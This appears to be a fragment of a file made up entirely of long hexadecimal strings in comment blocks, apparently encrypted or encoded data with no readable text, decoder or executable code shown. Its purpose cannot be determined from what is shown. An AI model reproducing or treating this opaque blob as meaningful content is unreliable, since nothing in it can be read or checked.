3bc96abd3b410773566de6efdb7ba6580d8b00d9b552b8b570b272ff6766528de822712d054b886524e7fad0fed3dd436c7ea581333c875f79e176f9cd6ff3bfddc7cd4713b63d946fb904778b30a0bdb274d30cf0cca96cdf86e21909d87fcbf0b65c5632d071f4dfc0b5f4f7756dc51b3472f34454787034c7fa304269fb6b28a073f444b37dac11191bc39f50c669d0d01d1cd8db8f285a34f4579ff275932bc074883855244568c424334f6e4011f4c4676610ccfff6a64b95ac0a3ad7e9621fe5b58fb41029cddb4c787e819f16626e894f71b13afaf5f327573074d68f4678e2bec694fc5657dd4cdccbfb13c7e1dc47eb87dbce4b8ac8cdd914ff7da7debe71faeaabec555d19f84fc6e0111cdf141167998704e72c6b8804f68bcad9915c16bb6e76a43d1e0e664ea3cc49d6d8cfb36aa9466074f2df1dba20d006859353bdbb2326a5e4ca84c9775cd57fdc5c8c718c51b708401f9ce8e2ca645895875350b10209cce733e33c5092895463c01f9a956c9524f6e170290f3f9ae709d40d6cacdb5e98fbe1faa33bcb9f1e4fbec3ae81*/
/*4807fbbf2ca87fd84d4d8b4987f63cd7aabff7afb203d4aebec4c38d1aeb2ed06038ba84adb91e06f36d615ddf149c5f91aa08eba9f18f2170418e2bf59f91b3d4a2b9f820b8479daf1d5084c07132137c5e4d1c0a273ee0ac20c445560ba685c06b8c20a3fa6d189ef280b8bdb0278b9496df67ff519085b4546841821a2a2c297662c74404e2f002f4a0e596504d3e474999358ecb8a01985ff0681df1532982b50bbc17567f0a9ff7e300c36eab975b0b18a927714bec54d24cacd84893700324ba7b9b3125310a83ceb843c22c25cc7ef6adfeb1821cf7d9af594890392af3435627565fd9094cc72d4d029616b92ab44d7163f7a6eb77a92bc06f27e8ed1bfa3b8f662d0fe17ad0e0a3a9e377ed3729af4d8ec44dc445a692185def54fb17cfde645da374463ae6b9ea653af5ef08aaaccd3738473e7dc7b6168a0b03c85af7c8969bbd0a0d430140db5d3356caf18b770d485c7f7058ff9d2c258484a8ebfdffb3f7a99e4924b57d4e74bf25e35a97d399934a9b9a7e8c30d668448b58053526656fd50e7d7f15bfa19671e5b544f685451d2140fef42c4f2cb7b5ab170f37def62a2571faca2604919719be085a7857bd1af29d272f2501a1352fc3006f226b1b2273234b945156424fbdf351f7a59cb6ba020840cf02265c918272909d8ecaba07b4995f32b8d0badedac74b8fef490cff3dbac3c416504f3f7afc6a5cfa73db819bcca9003e671297a975d14a7eeb79e7b29832daa886ee9844d601fe338cfa6868422959ccf1d1888702b6d5ee78d6e85788654ce83c20f803a3551d1287fcf6a6bdd90da0590fdf43da5b5f23fc6334c41a6ef933512a14bedb2b8ac01f94c6e1592913a53e0500ba1235b2c90b8aa8a0de8e25a62c65a59c8a33cab6071cd6c108f8af95d9ee36f1f4958e3aaca652d2ac2d0dcf75e5f185e7cf0b04974715d500fb9836a08bda563193eba37b18bafa849f3e1e380cfc3e3f4d22046bbe72426d2a2df0a506aaafc47f3fdf2c9718d49a5dc89cd3725c7a1e30d7a69e37d341ef006f9cb6eb795fae72bb5ac25ab6af88021d158a7d9ed2aaca4220392b5b94d64113b87f27b8e277820a1f22e8e72d40b2fd7620cb2debdba04a0052f2dc95d62a60ad0d8abe564e0762d9c48a35193208d4d6cc4a43efe25489988cf404259f68aa3e02ecf66186cc0d33420b05b1e2fdb85d8b215260a07061ac8de10945f11df58d6a58f5fdb94f0b449428863afbb96917c766d8f209360787942575e3509fd4d3cf04f22e6c6b9ae30ee045dc607a51c1253d3dd4aee03fdf7ec21f7807084b60571e5d9855916aabdba2f8a1606735035030ed66be64e9b688be354c866aa1d6754e79f47d0336c2e7cddd4393463fe06c0a6a4e90b792a543e46304249a0496abe35c3de4af4f25e4b41b2778a354cae8572c5a59c0c86a1f6ef9619bcbdb11a8e3a99c0196ac6768a3b58aea1035dc9eff6dd23c0025fa1fd21af309d86987713dcb6088566047a54d438590bcbf3320cda6fb86b6d106c4d7565c7e669fcd177f1ecab57b4f2c52e1490895656169dd75d161a36d33fdc8f52673bc50667e608651ea337216dafb3f8152a4a38fbfdb3f7130cb62f3f6761a671b6f958070e0b8080b3e8698d719cbc2d24eb2b82568cb783e8740fb3d1c107634641acc7f266f5ec97139070c142b889d7d001b4859a61152201d006133ab240941cce6b041b065796c37c9a075ae9a74d95c2d65d54b0c619d05cad078c2309bc20a835bd249c5922a56094eb1d44a841fa66ae256436f29bc0c0654080b0247db5c6c840715cb29379ad31f1b8719183b9306b3c3ba38101ee5e815dcd3f49a770fa0c71bfc4f3b502974e9a1e3b27f891a49ac936b0cfe3e4c02d0fb2eebe8c6499c5814a76b7d24df3494ab6e7377354c6dec547998c4479c55eb5241be3fc942cf17ebaed0c656d64da5a4a494fe639b1953749cfd71703e4bff0e095cd946a09fcfd1734f7671b3870d2fc552197f73e9df6a092d1295a02d10697522b88cabb3ec360d8e8581f3075e8280c4e430e33240d4ee66bd417c67856a513f9141177ab0a115f9b0a4dc0f520634ff639e978f10bd1b074a8d314a34ede932c90b189efa15fa75a87c65ebcdf09018fd444c589b1276db503cf4241ba4092bc1bcbce8945348825730bcbfdf81cbcc926297975690c9bf4931474621c2caab2670fb02ca9574376540fc8117bc3b22abff55888f1fca0ee645f86e70265e3ffc527133c50e807a0e049c42cca58d46c7046f7295f7e1ff3b325e966a983b769d25a8cc50ff80a58ee8a738c08d6ba37c1547469090b38331bd928cd8674ca7560318cc60e4f0bf130ca096c578f5833961e9485916aa4227438c358a140601aef7699215b590207be0f61acbfc0d42842b87712bdac26741f6d86801849207660010bfd656d740bf209064351b1ea3b567c329ffdb348596a0c615a017f75204eddfa615206261b180ee5795f142da3e9794e8738ee6b60cbf7b44a8e60972b5789d5b0de3f1dcb840f6e046d2f9f9594b38778e1dbca747d3b2f8c0a153493f2a022b6c8def46f3cf065eac80937d101d95d48314afc1df1131c5e88db5f7037653fd9675efab89aa7518547ddd7057e422f2f1da5890ae5bc412612f129ef3469923a25b487c920adc21f6cca6142d71d25d3f36a73359eb5f87753d07cb5e05994d6caec1b8dd527c3487e74ad5e94bdaaa306aab7c5930dfc1ba310e5b8cf4edd7cb2fd8e12ee08bbeca3070edd89b7f75147c93ab971d689ee8662c5284cfafaa231c2ec96f7e49*/
/*0b026b04c1b36070084568efa8a6817004ca8d39947aff8081a0d4d2eb8d3cda9e92614388e7162fe9a29db1e101c991743b84888a6f32d33c3692a9a2cca727d94d2ac337f49e23b66a345a2d8e63b1d67bea9ad46fbec634cac1529eaa86f01de77b3f333a42ce2388aae81821cd5365d1e86731a1a25b329949c10bbc71a6d5520819b34b924f9d4dc1ab86d3911a46975b2e315d151514c1960a5e258b79fb2fa8f857f6177976911d065aecccd16e45b9210350491add96c849c1fa74701ee2b2887881f260fd03c482819e664ad689b156fce9dd99a78e899772b19170d4a0ba903dc2aba2084959f3ad71872a535ada833ac49eb5cae2aa67c848059e5c747d152f73b545870f34ddf45c07d5ef4841310143c272c6581f5c3dc508e47d5fbd3261d23414fb6e3eb0abc457ad39d91dcafbbbde50cf1bb908b399a0291f3b41a0fbb265d38fed3d59a04be8785821f22e1384db420eae9e10a5ccab16d1405dc1c332f47ee6269f4be6dd6c992dcfe78dccc9fff23e9323b0697860a637ff0d58ad9ad57a4001fd12a3967955143b6afdd28db9e572ca6da3ea5d1ae96502932295708f7cc1618232a8443279d5ca891030097b87e9e551ae011b33a28c4e4690c79a602097faa975bc200ea09af6d13082ed4db1e12b153f140f47694554c69f7f6ab6af760fd14cff723d3b95c800e8a7b506bbe235006e41f34cb22ae4b072936ae48dce41df7becec6a60bfab93c6c6735581e41181c55a89310fc214cf94ce1e79b90807421d34449d65592cdb5e7247947f6b24137eaa4ae458181e95e856e74f2788f1e05cde06bd6214ad699704059cf693bd812e2b61befc085e9d1c51f31982cd2aa0c6bf00739c24b3238e4ac4adab95522e9bdc919c2a7d24470cf1c6e5fcc2d56f88bd1380f7bfbf524f7078bfab69c62b59a8bad23e77c5d4c698b264e3a55531c557f81c25ff02a6d89518010ea403ccb1892954d4466aeb2b7340c6bc8b77bab877ab69961f894dce63bf832c9841436647ff21ec49009ae6142a48c7ee139d7f573a6601f0e5cbde1f84aba1425b790c2c8b1c6f0a00ff392c60667fc5dcfcaab8b7309d51ae2ebe3efcd3d809b1a08d00684ff6e9233136333f1699fc186a223d1072de61568702bf6d805068d4b52d69eb3f65600a22a03aee1c159b93428e2f294600cb3f8cff1ed30cf957990327edfe4f9fcdaef314a253cee614b63cf5d97b1279329336cbc25b1c1d4d971bd67c0ea0312bc1a5102161f9262df0f52288028e96677affa17d6e61a3d7e933672e613569cfa020c21627e98cff31ca7f3833a3af52baf9e916406d4561704afa9e802b6d5fb4ed4a3ffdd6e69ab09c76d63912beeb3e6b8508c15f1e2e7f409c0c41b5b0942e2b5f4383b13901011ed30f9d542deb4a5279f36544f69e81a00c5263c3706fd335ec091001df62d32431512c9890c812514b76e58f2afcd4729b6426ab99fc09003b08f079a29237766bb7e21772ec0c30308150881fac1ba1cf0cc6e8b084440b491747a4c2c6f957b0acee6419e0150cbc276fc0b2c6ff002375de7f57262629ef96ad7c8bea919751d85bf3fd03e47ed74d62c5ca99321468120d29238c5f6fa1abdc0114db9e66abfcf2fd377accc41da447b2a29dd64eef2906889884716126743585b8c44407e61d4cfda56cc929ec56fbf4cc574673a1f3017c8c9af8ff8ab28c8c29f62ab713f32ccb65be2e48eac1f5c9b897fc1abfa768174a96600e021f98260559216f36ab283111e8044bef1f4a776cb8ba3851a19103ee356ac2f2960ccb58cfbe72d856da991801641e5a66799cbc2bbbadbd08f4b0cdca3a8b65c51ea40af56b597699c8e7fee6977d1ba13d5700683b7649af17b09c0426affa60fcd818ead19b8d9b4d462646ec491f43ecc7ccfc17536be7e869e695d4d26c719672b3792b30007853514d009ccd1467789795a14373de13e8575f4d12d9ed88a6b2d2aebac5f09805d4c9ce35c09e448b52f930ec7adfec082342c39b19a25efc269263321a4c8b9d68a0e43cc70db7cbc3a8c68289dfe37488142768072ad233b5f77155efd51bea9b6f863659a80bf6c40f7417f2202f52e4c2c8258cb525b9c5cd900024dff5dd616d684589044498a2295201f1f2f81440276f7bc9d307b33cc24817f1ec7a4e8f97968e10e562f5ccc87e86db46dab404630ab6e046504af7374a2765b7384bd05a4ba93d31cf6069bca38ff4a6ae81a87acc907be6a9c4e43803e322f713de66e9cea13f9fb35f608c93477d550c0c5ae1336dac853f1596924968466c3f4ed812b62c8a8a5590daa2111f4e6c6ebb4db585a653b67a822583cbd0bf627dee6135dcb94698a824bfa6eddce1244fad12b7c437b1880949e2338f7b38fa487567aadd3d8b604d5123cf24add4467556b7b0920229245a38fc58780af12100b0e37d0a7dd45968a91f6d7f8d5f10e3a4f5e582e94ba14ba70609eae8962cfe2adc4dd520c87997b27a67d69ef5281d62d9cddd707a6a2f6646aa5fdfb27176a146b591b6ea25065f9544df73d7f0aa9e5bd8b7f84a3c1e429be9a2754a18a8e5daeac7a7b0556267b7ae6ec39597c771ca29dc00936c3261558b1b10699078e8af9722354c36185a5c698f3753292e1a45142fc83d3ca7ca7242438b156ea04969280e771a307a5e60398c53a6f37a9d405aa384b0ce7e6d3ee0005e62cac1b5fad81f5588990797baab980f2c6b51b18ec59785ebcb8d64b4109c747f21f7fa886bfaaa02dfe39cb3d77b592dce54267d623cc380a4e89fd35618a85176f137313c*/
/*d6434cd308cae1daca2aff21aa9cad15a06e020cad4144ae61dd11b2efdee73bccc0f5e3fe52cca454a858aaeef60b6804be78a6b685412a90b39a707eaa8f733bc8bbcdf8a118e2afe8b0656122a019374bf9b824134a15b6d4babd7e36262d8bbcfcf9d8c9ddf3d55a0f45ccc97b5bc0b6bfd9c488f42d788f36d5eac5d899df0844852840c18698910dc3c2caa0a994cc57fdf2bf7b54aecd53bcfdd7ac6a64bbea5dd9541ce1cb66b67579aad4571e44d2b6d41701911e256bfeee8987c780984d0fc35d17aa062c807f4265350ed9b611d585ccad00efbaa1cd99f49bf799678d60ccba138dc7b5000233c72a4862c8d664274f19eec3904c11569fe41de1d814c1003943acd14aee3ae4a5840d58e80453cded4be2f409f357192eb35a3f2611edb60395682a73feb54ff86bfff134659cd050a21d97851edcab00b8932696c17887dc1f90426fa832edc739e60b8bda5671f35e9a97c889d1feecbd4613976aceaaee302be1bd7971c1471adb3b34446157bffbb558dd6d280c86dc138a8709c1f7e815aa498337f5d510e0c636f5ae934f8fed049a08c1276708251bd50263ae79c73853cc9710d120a85e0475888fe66b94235113b8c7f61bd80070e698e45c0889ba2203b5d48edf4cd53b1e127084fe2d4933084962b5b385c9741e173204b07a4624e6f357717dd9adf17333ec9693ef332232ef5ea7ce3378063a9c5edc9c2292d23000f66ef10fecad71c00d75606722caae7f9ae520aca4b8e74a1fa369101d13e1f5187b14c3c444976b34b44da015d279a9d88c4d9e08bb8e5c3c8700ba772c3ae7e5828857d54182a03a02bd97993a748145c6eb4fb39dccd9f19bf76b1503f8040fcd11341e43839efac62ecb7ec775ac972bd80f9cf883ec64f3b34c2c558abc3fe99bff13ce734f002114bfacb7bedb5aef67be610cc4a1821ea36a6c096ca87839f4bc0082a1998ebb2aacfb6a5b384843cdc61f67f1023bd3df259a5d873c8dac26150c0aa12fc6101dbe9ab5d7ff3a4359e73c3f49b08468fb3a796523e9e76913df4ba61f7e541cdd8187d0f7b6abd42688949cf315e2a3b8d43f35f4f3bf982c475c1e6a0d0d89ab6b35fc5af2dcc413deb80245d72f61635ccc5d74bfc34f5516c6eba2740716ab0dca8fe56b1b6d43eedaa779c5f5f48dab81e5c95de3e0bf71bdc517264cd1d18a3e8ec5fd1e302d491382cd33127c0e0e1d44028e0b1a5f62cd9584c53679877b75f9bd4a21f8d2a829274e7166f4d414eba1fa9f5bf8738f27c1a79e2e78fef003129cb34507b2525df7eb516c676a4e7cb4e2b85cd54890a69c62dc44b2a18f513aa905331694e2634922e51a4dae716637a954d6f02609e3e0be5b8882ff501a550460d69505b702b96be52d251838fe55435031f28a6047c424ef79f99ac8a2ad607b72d091c4a817d7cbf7e59b5c6d6723835305a1a9fba4d5ab5c8468d5948f40ba512e88983ed8506bf1ae03254abcb05e7376947bbfb336fca124d267192fe400fac1e6275cf8254500ca918a89d9a556c4e8a1fa429e294fe406546507b5b391808fc0dbc6d82c39e4719d0a429716409b6874070c7434984106d611def12e2e9a73a901483b0f5f6cfd7e8f7fabde0568bacbddf1039cf50c47f5075857588386c78f6cf6f4146a72bdc845ff682187220234b88d64734009c09eeb368f45976c074be7a17b114f5a14a7f6a2ccfe054465d0dd5d256a7518d91847fcd67658bf73d76293982b1c76aaa7be78f1b7e2f87bfd0baad65d4eac755e4db492e78a293b6368c9419c11a4ff0b40bacff73fd59863f97d6575e91f52000dd556a00a2a14708417e4a836dd886f361049a5fd74ff65fe2fb6a6494e03f5d2951a37c4f6d983be93aab186bdfbb70a18ee79ad76caf137590af01663613aa1552c13d2adc7ee70021813344d98678999986c1b192152b45422ae15171b229cc525d5c2f38335a68b94e10f406fec78866101d7db77429d313296d0457e753f0a293c4bdcac334e6850f67c2ea5a785eb4ba3ed6feb0f1e452a47c1775b48a623190149a32e394fecf9d1ae0431781ffc96ed41238b0dedaef351a4f5b8ff0bfcbc0d075ea0399c76177636ea7a9ad796013c0696b286399c23019c453cba5022275eee306ce941c3e4ef57a5bfe4cd036fde3d8878f45ca1784e258640ceb6d4c950103ab138761da7150f0a5f91183e7b3f615e1e4d921ab3ae4c5ada75773a10905eee4a5668717440f480119dc0c2997c48f4fd200aae090e1f3c61bab97765df5302cece3df3536191d961bf12b0a88f29c2a290c0bd9d53f01eafd258f39fac2dcaf60a26c39591a2976844d6a40edad3a49102884fd830c1579086eebfce5a7cfbdb297842c48f7e9370aac9286dec8aa52e36f9d971e751a5f442246f6049f756a5054e97108bb1dd544544f4c92852058f31d13b5a5440cba9007cc21ead4d0d8eac5bda0fab512594285a7f58892536dbc8894d297cbc25b5c044b273e93991ac4074718895501b7cd4b24fb7a17e497349b36b0003e1a87c759a7933974cfd53079a2ce12058cca7dd2c14edfff4ceb9887b59195cd8336437194a80bafacea1b21f5bf5d838f943ef78b31a2c1f26dcb1aaca2b8c6e3955cffe8055c3911a0220467cc1da6fa7303be300e51913c381dc677c09e1dd93ed9a077d5b758e6e8a926c4497d956c80814f8fa7fe992ecaa40cd3766a19370972f87731e416bc1086f922141f8a34fccc8ec818d3ee85d9edeab22b8a80e83155ce2b9fca3c50af7875776968a38fd3070315eeaaccd5be716daa0ef*/
/*4980614a2948af2b3f8919d88ea10e2a6471bf2f2ea14b02f98d1df01d1617e2f4bfea0f216c60956221ad47eff35e9985fdfe56975913fd9086496dbd026424ae2e4c84669ff8e511692cb74b9b8796762a3948e6396329f512812dc930092350e9efdc76f3fe8b9faf799e64cde6d15089f09e03776da21e2790698b536b93fead69ddb7ffd006ab9b91b4c4ea6246bbe38062accb5a57f5e8f80c4b87f108730c4eaf23dbead53e24db60f3092fa43d41deed4be2b323cbedf5cf87c5cac51eb32568fd0869bc3b250aff8497a9167fa12a71d5d687356929eae94bef11b647eca74bb1525e39a93d37f8420dda1211a4cf9b790bb29f6baf72158ea85c01d6c82d6fa69efe2ff5c3875318182afba0446df0e620c52e9fcd933edbbe0b066ca3fbc30f6e3525009a0adfbdcadd3c6a46fedde2e80c63dde0a5601498e274519c4e9986c78aecc316547c41facc2844bac00aac38d8cbcfeb31231a78881136978d6a8dc73f593e3450ec20dc2454380d9850d69a9dbd229e4e490110fb96a0c1d8a6687c831476be4ec563d88187e3d9d0d8b2da19e33fb9030722eade92ded6a53c69586fedc208841f48eaf3062848ac733c52913a270ec7ff233d56b7de24c8fc7869b0d348409a091fc469d6a02a7f6b57467019b51ce3e2d1ab99852d3737d88554e82669ac196abf028f20dc54d0f80a6bfbcc230af55b6411911cbd9eb0266668243feb6e0147f122343d0b2d0814bb4ba67ab9883febbd7fb87979d204445c69251123d73c3fe99485625cbc5ad1d147800ac01c6e036b50964a116de56dd47fb709daaeb8518d6c876ba22233626d7bad936b4af8672e4efb7ca4c5c637c20b25e5300c850c72055b5356cff818552aea65b4ca7c28f3ec50e24aac880a0f6b8ea6a7a441768c604fc6b224f619cde6e8d91ff4be59684c75d406c5ea98e32990f724b21eef1fb28494335a9ecae6e61a5866719acbe320bcb1d7aa2a74b10477757892d432e215b4119360b3a94ddb0106e45388c954ddb4026cec618de46eafaa452d9055b1c3367ee36ade747a9419a34f291449d1b7b0be02b84b122c6040046f1a9c412131d6f018c1eb4decb16413eb2454eed689429c268e5ef825e7581b63dd9b2285ab9af0cf91f6a383f31ed36262a8cfcd37c54cda53845137adfe3e59f89290322bb85bc2fe3b7e58dfe9c2a939cd75a96d25e6e8c77fb827b23ac11395a116d87d9e62e55e79b613e796dd36b10a9eb57e6d889156e064c98154d48eeba74f624c275dca1d42eb51a7ba3dbef3b271fd260610858c984d6f49bfdde7e74d102a18dcf6070f4643ba8bf08f6edcd882c0aafe2949c6d8dafecf0bbffcba38b6690a0ea97d6d6c9f784ca7de1509703ae96cc11cfb193d0b79d5d55a54bea5d6541c392b2546aca5dcd45920b2e73ede73a430636b0faa8686554e94066966c02f70fdc2530a386d47fc20829462b25eca41b0bf4d99e08b22cab1deadf78cd6179c266e47c0419ecfa70b5a8a16a476981c77006a7a9a35f48dd1b8dda010e3697517bb1322240dca651033b7b7ddab65c488d4781e83af0d277f4f0df5b903d5ab017327f77dc5df83f6a12acadc64854550e57c4e18b480a72844207f92f585e3ae0be352c6a13051873afbec55bd55da2cf0795a357561e54ed832360057687fd9b015a9e0d7cd117a1179d1b319612d4213257d8b3d1a226f2ce1b95cab212462ce988661920e9aa3bba5ab52e7e019cf1280b23721fb6cf230bbca2233fa2d20124b5ad434d86803b07d1851834a0752305a40ee64c33f82a644175d23769fdfc0084c54c41a9160587c2b0818555350732cc8b6ef5609a0950de31edf2f39fc2696bc678d8abd256b2fab8482c0aa6eb8bf8da085865ab30ce76dc11868c31b6e5b3cf6c0f7adc924bfe7a29c195dfc476f1bac468fb7978a96697532ad51e9dfee9f56cb4125a7ba0baa4224613a55fc2ebc7440b55a79a14affe78755923760ac4d44988d1216a7ccdaff9b4ac72e8785cc33de2bae6aff58a7239a63cdcb35a45e827efb88a360bf54a136201bfa93e5dd36ee4e058cfb934f4debf06c1ce56741d0c9539c2d3e70b9a4d7979857b9ee0a5fb66a268f4034d5c17e380e4bc8b2024f085ea8a8070e5c282ec567b9f6681e6e1907225c8a78a20eb02cf837809f2214932d886e1899571835ada5196a8861c91b884cf6692c69aa352e4d82b54d03b98f6f4f2966c3502f6acce7337f89757a6cc5885c76277e2d39b1f24415568e5c0aab5bd91fb8d7adf64a730e3935d3f1ac2d732ac65d7e6887bbfa6b75c21098042e98679ac37cca8e4227e94d0c5110a698aa5e26f343d75b44112d36c83114cc1a4ea716ad8bc3aea7116648613e83062dec938f642f09d59aa741382c550085082aa15f8589f5d807a85751a7642f32bb903159107f93daece2c4faecd7b7a2b6cb5acbb21feab88f28cbde25a759eb40108cd1f1b0a593d74df2fb7220944e1653e55b3e5fc2210f0a056b6b6c508e64183368b6a01e12ac70d005e09d024758b25c5c3e0dea74035b0669cb81321dd08fe99ac108a6f27acc16e244fcf30e5efcb137c5af75e639382cf93eeab507da076c519a2b9f1e747cc057cabb818c075611b4f48d1b14d04cd9d4ffa606cb447951723c7c789e2400423ef061cc1cad540bec5b26f214369946e2b4322eaf1eeeb113052ac072f4c0c7c2b741538332083fd037abf1ebe5905ce3be50c93e1f72cdf9c5d15837863c141b20c849ca923ca854c9aaecf6789ade465e0900f7e95cc7b081dcb779d341ec5a*/
/*4129c24b934307b5405fbdb7141c7c8722bed371622a0419dd5132af823de77676d5279b4ae11e7c8da1d440b443b3df0216877f89ad5dd92e4e9d9ba576c7425033345495deaee7c50bff7d23c3ddc7e17136007747863beb1eb449fce779b708b38ae008651211717b6826f779a22ddd2776737eacc23d7c40a04c461647e471d3028a599dff2d77aa26ca05847a5e2fe7457bc6d86dd2f0999bc38bd50d9103fb22a4690d10ac1041063e6c85a22e220f4300f67c17795f58ba7455fe300c5ac8eba6fc9808d3f1a5b2be89399fb86c3056393b83efe10b8011cd25dd0b7de142a94e12db3ef90b17c6b4801438ef6f4b73f06a9d36720ffd4a8a12f02459910f839b01beea812603938cbff64ed02bc291355b30848e91320c054a2fc1834d9af5a2bfc5a98479ffad89c03e6b05c07c146f969a2e5cd1df3122899adf040b91c725bb16dce97488d2a2562c7a4e1b7fb807978249ae0e69feebc9c2415a83f713460172843bd1967a4d678f59fcbcfb815f09e46d42a6892ef7c97e75728a6d38ffeade5c3f7f03e854be6b46e3fc7d3f70d869dcb0f92cbb47cea22da77a15fef65eebe47ae16063ebd24bae03e39e51cc7a15b9a2150ba36d762b242d12f44a9e32f16dd296224b4041925365fb0c14c5a202d8b2c69ea69915d1b9ddc689019c2e481995f889df63ed02f50d914e7cddc0f54416d52df0a35adfb06df6fb41f6a5867397f60095d2ff31a6da8dba19b94872345e452a6f89fbab089b5ee4fd3afe248f184cadcdc2e6a15a194030ba2bdb37a1af8c1daa6014e47cac6fa06b5f15a941cedefad8b63df1183f65fdd87603b035b0f2f701f251acbf0e736ccd2f9d9f954039b1ba8f710da5f81edec18c7c4880dd3fa7eb04bd91bcf5e7eba3785bbdf0578ba75e23e7435e9b51badd5b925ad18f4ab9b1fac5a13d77377a95e5dcfb4c47651b8a1b804d3bbc2a202c3bc3ddde323ee26fe4a3ee31df58052b909c070b63da5c0ccd24763260068376afacbe6b9123616910efec473cdca955159ae6e132ac68a74e7fa749df89ffe18b05ff2b5b6e02e6cc72cf191874323c41786b7c8cc0ef380eeb555df50dd4527d8328dc6504ebab7b5601d133af43e06d3385734d15b8b9633a39aa78d003bd6e33b46664f4661152bd763d6dea46757f4dcf3c71b9a22b12a8861aad017f4503ac33c55fdcb6dfd9e8a8a17a3c7d3a5b9ef83e0cf2032f899194617783d24d30acf1a2b57557b782131534c0e2fad760b3d86b01e4fd6771881c0f90baa7a2c2b83cd1335adf8a30f25f14720504337558388c9bafa29a975ceed5c71f601842540d7b7bf9953bd2a49e70e16352225ec9bda443bdfa3277c2856f5e3203ed9e85ae69acffec425bc7abecbf134179028bff681a9a83f96bf082a3beccc69115811f8932f9ee4254943577a3b36b8f08833b87505dc215b902a857c7e35b189348862c67048fcd553207874075b47cb05036e2c03a99ffccb9637aecd9010dba6c0e71cae1be00e21ce3998b5c7f2f0e4fc7d64355376220bf229a38769bd5f475932a1615ce1e2b8fa0a9d2b2a4cbaa390b3cbe559630d380e5b6fd52a30a3c6d33931bcc5bc6ef027023987a7ea03477a38ddae2bda7e3f1e01afd0f528e104435bfbfa5a8c749d64160ed0e6cb12d1b3cc86ea8536de4d930f6fadff6dae8eb26cd648b4f3d7df3c603abc9b7f1d81055b63b9f43f63ca4164e257324bd61a70b9b7d1099b34c853c719939bb7171912794a4b714ea6ee31a98b727873b13394fca1b7199f0ed6bd9da6bbc39f3cd20860928ac2530568137129797fe1bcc511c6f7145ef6ec5232b09b98c1567e902481545c42b3cf188098694aed87fcbeb64ba8fe6679665bf3ec2da83e7e82c4324c3286fdd468de6ef894ad1d06d1b94866b9035ba3608fd220d559ef1fb700fb7875f76bf56318c1d61ef3c75290df4162f2f996764ca6f2c342ac4c885f705fbc825b600cd97a60b5cc27d0ef794740e7011cc6811a08ad5131fb4aad6177516680e653904981445602e81833b441a62cf963257174fe7fc391cb2bfbb8b949ec0e070c939175f7f0837c9640b539329f65df97433890bb25fc7fe109e2e8466368c83d7a154ac81107de5479002c830f6a8350c2755ac6d881874e47323bac1dde103677886f86efe5e5c1419b69e5ec0edeeebb28e041c69546c6169d2967f78a3f2c1e67eb9bcd06cd9ad414c75384d4a911587ca84a9ed56bf74d434f81a029e3ddde7905e611e38a77cdac99ab29fecbbbe954bb8ff36747da15f17d935e1ab33b392b5855685cfb1e268662641285b6994b8aa163562e6e1649d97387ebabbf67805c2a9ecbbce78e888d8e954999c5f586c1d92f98d1c5417937bb2c4796c134a8adea7396c3dd6bdcfd6b3888217f48033f65163e3faf1c796fc17e35a5946a8c3a895704e819dde6ca174b0eb5503ae7dc60845195d7aee4130873441aaa1862b27e892c69710d6e91e427ea92e5cfb11cf5a1b80d9ba80e14fb2befedcbe33ee47415c6246711f9f37db81e5606d4e94be5f3b88bc62d18c04a07f673a2dd88b2276de6e433e69ca99dbb0c35c8ea8179dd2b8f344a7448ec84111a1714bd34aeb10fe884a2d23183d1cc0f3b82dff4afeff1fe9bec4074063263a7c70ee6b64c7ce59f7c666d3123791e94777a3d8efd1399973763d2095e30849cda224995023b5e634ff5bd0c059a64ad73093f97ff6b61a74b062ca399aaaab4b4be8244a9291b1410cdecddedabf227a7900b075636728737bcf7abb78979babd564b873d25d7e46b2*/
/*6c7a29f6f34b0bd38d3ae05ca4f407b136b3cbafe71d9a337f15c12e64582c24bee62c7edbb85a5c95749b4a483f38df3adb00e3965ad2aed478e99b67a74fce94a2b9709faf1aec5692547a9dd93026b5e92eca724ca795a73105e8949b8e4992cfb45d67bfcc212a5735a8b182b8a26a02a5b583ca2a3cc988f95ede37539b95bcc8421429c5ec580ba25ea71216f2cf756a6ef49e69dc681489bc8312813b1c0452743f37c9b8f21996bb5734ebc4f5e40d3614bfaf0febcce5def1cd573e1ba9f079689620b3749e8aaf9d0cfbb61691da3dda66f30c6a60fb95365a845be7e714a814b7c66f137261b3693b496ff18ae1d0821d9f6a3b98e7906c7d065f63db4e5558026d8ad624f7720f7cc964b26f5f2e49ef63d2f70785cb77dc384e420bf75c5f93f9931159b82ec1835eb6f90ce1ac2571563ba07132656685c7119704786a9a71e88df0d912f26caa1c4397d46f49cb3af06885c0be3d2e3291977e6c9816d9308882b947198af5eda347708f6158d619292bb46a39897a0d8873d7154b24e88bc11c0b42d3eccae0c658359f63a0f875234bcd1a06e80742d6867be7839cc7868905b096427c4313ad0caae48eb52fdb6a8847099e47dfed505bb93b86ecde4ec6bb77a3f0d98d65a1160b4f505e93289fb9ebd86ce694588f65726b7e4d547f4a2516a56ac833c1d18422d099ed1b8df3add17e59f54564af35280ec84a249b23d62ef29788f7a8f69650afc62f1cd05a794381fbb7888d730f995fb2ff8f7d73d17fc6015d351a59fcfc419253064408b35fb7d4c2446a306e2f971816798ddce142a5df31338dc74501775cb691abc5d13268c02051eb78fcd631c10933088e3115753b19a8770ce12801a354a5448ed43778ae4cda548d9333175282d1c54ea100c3eec58474d658d894dab9a9b5c9cefd6dcff1bf21117c2372a0464473a524e4a94877418e62f080a4d19bad86efa9efa6261a53632ef6168e75c19d944ec0e96cf0b24c117c1e4d4e5db3b05e55471c504eb746b79a463d7ded012b3a68ab36247098bdf915574da2e3a6ee55bb866f60230ed9948aca8433eb0c009f00877b65397a319478635775d067f909c79bc2ccbfb992d7e08499f2840e0665e3911046f1b58e51a5a500d39fad9e718b24bbe5588069c664b22413670587106419bec3e7f6dca2f4c9ba84d77792bf80338046f403d9caebe30be0a53e72cae6ac9b2e004eeb124c9179ea79bf0d8ae9b9f3e8f0ca273a8c7565dba3acc5611025efb491eb374fe47ee1cb4e88756b82e60b09df1b4e93424bf7c8b60324022da365f3505f7ecbc823a4bb0fdec5d58e2b46f9297d5ca8279bad793c6f61478489b82aa93095264ef4c6bd4afa8b3fc58906dd7d672c58b2e48798caa6b57085fd1e4098965dd7c8086de2840c67a47ba6c990b12f87e0858416c9803b2ad4fb30cae9c6f2cf1c36f9ab2a9b08b8718a167ec56eb9261db3b5d495aa892f7c36b03931e63bef179774ca6f685942989a88b08c858bb8c6bf43f11f6c266144ecd039285a59be12d0ec319b0664503b03dea7ca8d69c255c5f9e2074498a5bec84f14a0545eb1e0c815f9c1a33293a82d1e21343863932ba06199476ee29505089b92c4fffce41019d5076fa7e7f68a96679d6dc0d06ac7